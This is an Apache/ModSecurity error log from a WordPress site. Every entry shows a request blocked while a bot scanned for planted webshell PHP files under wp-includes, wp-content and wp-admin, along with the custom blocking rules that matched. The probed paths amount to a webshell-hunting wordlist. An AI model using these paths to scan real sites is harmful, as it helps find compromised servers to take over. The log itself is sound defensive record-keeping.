[Fri Jan 09 20:21:56.578799 2026] [:error] [pid 14770:tid 14784] [client 85.203.21.237:33545] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ah22.php"] [unique_id "aWDy5B5QbaVZ-6newJY8PQAAAgw"]
[Fri Jan 09 20:21:56.935992 2026] [:error] [pid 14739:tid 14751] [client 85.203.21.162:54277] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/ooo.php"] [unique_id "aWDy5F63M6_PkLt_IJJopQAAAco"]
[Fri Jan 09 20:21:57.289788 2026] [:error] [pid 14770:tid 14785] [client 85.203.21.197:35873] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jcrop/dist/content/pmdwx/xfe/admin.php"] [unique_id "aWDy5R5QbaVZ-6newJY8PgAAAg0"]
[Fri Jan 09 20:21:57.639531 2026] [:error] [pid 14770:tid 14773] [client 85.203.21.238:22535] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/resources/dist/includes/img/alw/"] [unique_id "aWDy5R5QbaVZ-6newJY8PwAAAgE"]
[Fri Jan 09 20:21:57.987503 2026] [:error] [pid 14770:tid 14792] [client 85.203.21.226:48447] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/cache/assets/v3/v3/files/akami/admin.php"] [unique_id "aWDy5R5QbaVZ-6newJY8QQAAAhQ"]
[Fri Jan 09 20:21:58.336097 2026] [:error] [pid 1366:tid 1380] [client 85.203.21.188:59481] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/datate.php"] [unique_id "aWDy5hmasveKu8_ec1VqqAAAAYs"]
[Fri Jan 09 20:21:58.686924 2026] [:error] [pid 30021:tid 30097] [client 85.203.21.226:33745] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/chosen.php"] [unique_id "aWDy5g_M8aRtsTog5J-fCwAAANA"]
[Fri Jan 09 20:21:59.032423 2026] [:error] [pid 1366:tid 1393] [client 85.203.21.170:53693] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/autoload_classmap.php"] [unique_id "aWDy5xmasveKu8_ec1VqrAAAAZg"]
[Fri Jan 09 20:21:59.391326 2026] [:error] [pid 1366:tid 1383] [client 85.203.21.193:47147] [client 85.203.21.193] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/call-now-button/admin.php"] [unique_id "aWDy5xmasveKu8_ec1VqrQAAAY4"]
[Fri Jan 09 20:21:59.746534 2026] [:error] [pid 1366:tid 1387] [client 85.203.21.52:51455] [client 85.203.21.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/rank-math/mmm.php"] [unique_id "aWDy5xmasveKu8_ec1VqrgAAAZI"]
[Fri Jan 09 20:22:00.110430 2026] [:error] [pid 1366:tid 1373] [client 85.203.21.222:23003] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/maintenance/assets/mmm.php"] [unique_id "aWDy6BmasveKu8_ec1VqsAAAAYQ"]
[Fri Jan 09 20:22:00.461078 2026] [:error] [pid 1366:tid 1385] [client 85.203.21.183:48643] [client 85.203.21.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/menu.php"] [unique_id "aWDy6BmasveKu8_ec1VqsQAAAZA"]
[Fri Jan 09 20:22:00.816311 2026] [:error] [pid 14831:tid 14856] [client 85.203.21.157:50305] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/crop/menu.php"] [unique_id "aWDy6PaKOMCmJcAyBm05DgAAApc"]
[Fri Jan 09 20:22:01.162153 2026] [:error] [pid 14872:tid 14893] [client 85.203.21.238:57095] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/todpIbcm.php"] [unique_id "aWDy6aIUELhgYLNp1sY3pAAAAtM"]
[Fri Jan 09 20:22:01.519688 2026] [:error] [pid 14739:tid 14760] [client 85.203.21.228:47319] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/mah/function.php"] [unique_id "aWDy6V63M6_PkLt_IJJoqAAAAdM"]
[Fri Jan 09 20:22:01.872781 2026] [:error] [pid 30020:tid 30064] [client 85.203.21.197:28311] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-2019.php"] [unique_id "aWDy6crjc66qOisG6L3YpgAAAIo"]
[Fri Jan 09 20:22:02.222182 2026] [:error] [pid 1366:tid 1386] [client 85.203.21.41:24759] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/about/autoload_classmap.php"] [unique_id "aWDy6hmasveKu8_ec1VqtAAAAZE"]
[Fri Jan 09 20:22:02.584956 2026] [:error] [pid 30021:tid 30102] [client 85.203.21.235:45251] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/new/update/chosen.php"] [unique_id "aWDy6g_M8aRtsTog5J-fDQAAANU"]
[Fri Jan 09 20:22:02.942301 2026] [:error] [pid 14872:tid 14894] [client 85.203.21.58:54325] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/new/wp-2019.php"] [unique_id "aWDy6qIUELhgYLNp1sY3pgAAAtQ"]
[Fri Jan 09 20:22:03.300402 2026] [:error] [pid 1366:tid 1381] [client 85.203.21.223:35085] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wp-2019.php"] [unique_id "aWDy6xmasveKu8_ec1VqtwAAAYw"]
[Fri Jan 09 20:22:03.649742 2026] [:error] [pid 1366:tid 1388] [client 85.203.21.190:47683] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/zczv.php"] [unique_id "aWDy6xmasveKu8_ec1VquAAAAZM"]
[Fri Jan 09 20:22:04.014561 2026] [:error] [pid 14872:tid 14891] [client 85.203.21.222:39215] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/as/classwithtostring.php"] [unique_id "aWDy7KIUELhgYLNp1sY3pwAAAtE"]
[Fri Jan 09 20:22:04.362319 2026] [:error] [pid 30020:tid 30078] [client 85.203.21.238:33429] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wp-rocket-config/V.php"] [unique_id "aWDy7Mrjc66qOisG6L3YqQAAAJg"]
[Fri Jan 09 20:22:04.710182 2026] [:error] [pid 1366:tid 1371] [client 85.203.21.156:35087] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/wp-conflg.php"] [unique_id "aWDy7BmasveKu8_ec1VqvAAAAYM"]
[Fri Jan 09 20:22:10.068176 2026] [:error] [pid 44848:tid 44868] [client 193.37.32.2:37209] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/html-api/autoload_classmap.php"] [unique_id "aWDy8qjajoTJAbEk87zJ6AAAAFI"]
[Fri Jan 09 20:22:10.505654 2026] [:error] [pid 14872:tid 14898] [client 85.203.21.190:31871] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/v.php"] [unique_id "aWDy8qIUELhgYLNp1sY3rQAAAtg"]
[Fri Jan 09 20:22:15.864164 2026] [:error] [pid 44848:tid 44851] [client 85.203.21.235:36037] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentythree/templates/"] [unique_id "aWDy96jajoTJAbEk87zJ9AAAAEE"]
[Fri Jan 09 20:22:16.211564 2026] [:error] [pid 30019:tid 30041] [client 85.203.21.223:52893] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/fonts/page.php"] [unique_id "aWDy-Ez3igHGwX5f7IroIAAAABE"]
[Fri Jan 09 20:22:16.565240 2026] [:error] [pid 14872:tid 14879] [client 85.203.21.238:35733] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/separator/"] [unique_id "aWDy-KIUELhgYLNp1sY3sgAAAsU"]
[Fri Jan 09 20:22:16.914787 2026] [:error] [pid 14770:tid 14779] [client 85.203.21.184:45059] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/endpoints/webix.php"] [unique_id "aWDy-B5QbaVZ-6newJY8TQAAAgc"]
[Fri Jan 09 20:22:22.270635 2026] [:error] [pid 14739:tid 14760] [client 85.203.21.195:27453] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/wp-conflg.php"] [unique_id "aWDy_l63M6_PkLt_IJJosAAAAdM"]
[Fri Jan 09 20:22:22.622762 2026] [:error] [pid 1366:tid 1390] [client 85.203.21.223:21463] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/chosen.php"] [unique_id "aWDy_hmasveKu8_ec1Vq0wAAAZU"]
[Fri Jan 09 20:22:22.971656 2026] [:error] [pid 1366:tid 1370] [client 85.203.21.226:25671] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/info.php"] [unique_id "aWDy_hmasveKu8_ec1Vq1AAAAYI"]
[Fri Jan 09 20:22:23.321448 2026] [:error] [pid 14770:tid 14779] [client 193.37.32.2:25541] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-style.php"] [unique_id "aWDy_x5QbaVZ-6newJY8XAAAAgc"]
[Fri Jan 09 20:22:23.675663 2026] [:error] [pid 14770:tid 14775] [client 85.203.21.207:26253] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/xp.php"] [unique_id "aWDy_x5QbaVZ-6newJY8XgAAAgM"]
[Fri Jan 09 20:22:24.033075 2026] [:error] [pid 14739:tid 14764] [client 85.203.21.156:53441] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/assets/admin/skin/base/mixins/about.php"] [unique_id "aWDzAF63M6_PkLt_IJJotAAAAdc"]
[Fri Jan 09 20:22:24.386753 2026] [:error] [pid 44848:tid 44856] [client 85.203.21.204:59443] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Content/"] [unique_id "aWDzAKjajoTJAbEk87zJ-AAAAEY"]
[Fri Jan 09 20:22:24.742221 2026] [:error] [pid 14801:tid 14812] [client 85.203.21.213:61695] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/src/Auth/"] [unique_id "aWDzAN8UWXrz_OQYgF1jwAAAAkk"]
[Fri Jan 09 20:22:25.091994 2026] [:error] [pid 30021:tid 30105] [client 85.203.21.52:54821] [client 85.203.21.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/library/min.php"] [unique_id "aWDzAQ_M8aRtsTog5J-fGwAAANg"]
[Fri Jan 09 20:22:25.438381 2026] [:error] [pid 14831:tid 14846] [client 85.203.21.188:34469] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/query-title/"] [unique_id "aWDzAfaKOMCmJcAyBm05FgAAAo0"]
[Fri Jan 09 20:22:25.803372 2026] [:error] [pid 14872:tid 14898] [client 85.203.21.226:54103] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/query-pagination/"] [unique_id "aWDzAaIUELhgYLNp1sY3uAAAAtg"]
[Fri Jan 09 20:22:26.157578 2026] [:error] [pid 1366:tid 1386] [client 85.203.21.228:35495] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/nux/"] [unique_id "aWDzAhmasveKu8_ec1Vq2wAAAZE"]
[Fri Jan 09 20:22:26.512880 2026] [:error] [pid 14872:tid 14875] [client 85.203.21.208:51805] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/langs/"] [unique_id "aWDzAqIUELhgYLNp1sY3ugAAAsE"]
[Fri Jan 09 20:22:26.864500 2026] [:error] [pid 14739:tid 14745] [client 193.37.32.2:27297] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/"] [unique_id "aWDzAl63M6_PkLt_IJJotgAAAcQ"]
[Fri Jan 09 20:22:27.212397 2026] [:error] [pid 14872:tid 14874] [client 85.203.21.208:28649] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/network/datate.php"] [unique_id "aWDzA6IUELhgYLNp1sY3vQAAAsA"]
[Fri Jan 09 20:22:27.566547 2026] [:error] [pid 14801:tid 14817] [client 85.203.21.176:36657] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/lib/lock360.php"] [unique_id "aWDzA98UWXrz_OQYgF1jwwAAAk4"]
[Fri Jan 09 20:22:32.924717 2026] [:error] [pid 14770:tid 14776] [client 85.203.21.157:39317] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/search/admin.php"] [unique_id "aWDzCB5QbaVZ-6newJY8aQAAAgQ"]
[Fri Jan 09 20:22:33.280544 2026] [:error] [pid 14831:tid 14834] [client 85.203.21.164:22569] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/lifeempore/content-"] [unique_id "aWDzCfaKOMCmJcAyBm05GgAAAoE"]
[Fri Jan 09 20:22:33.634514 2026] [:error] [pid 44848:tid 44850] [client 85.203.21.54:64915] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/lifeempore-v1/content-"] [unique_id "aWDzCajajoTJAbEk87zJ_QAAAEA"]
[Fri Jan 09 20:22:33.990111 2026] [:error] [pid 30021:tid 30104] [client 85.203.21.222:45187] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/lifeempore-v2/content-"] [unique_id "aWDzCQ_M8aRtsTog5J-fJgAAANc"]
[Fri Jan 09 20:22:34.343104 2026] [:error] [pid 14801:tid 14818] [client 85.203.21.239:32529] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentynineteen/content-"] [unique_id "aWDzCt8UWXrz_OQYgF1jxwAAAk8"]
[Fri Jan 09 20:22:34.815215 2026] [:error] [pid 14831:tid 14854] [client 85.203.21.222:29459] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-excerpt-constructor.php"] [unique_id "aWDzCvaKOMCmJcAyBm05GwAAApU"]
[Fri Jan 09 20:22:35.169306 2026] [:error] [pid 14801:tid 14807] [client 85.203.21.190:61447] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aWDzC98UWXrz_OQYgF1jyQAAAkQ"]
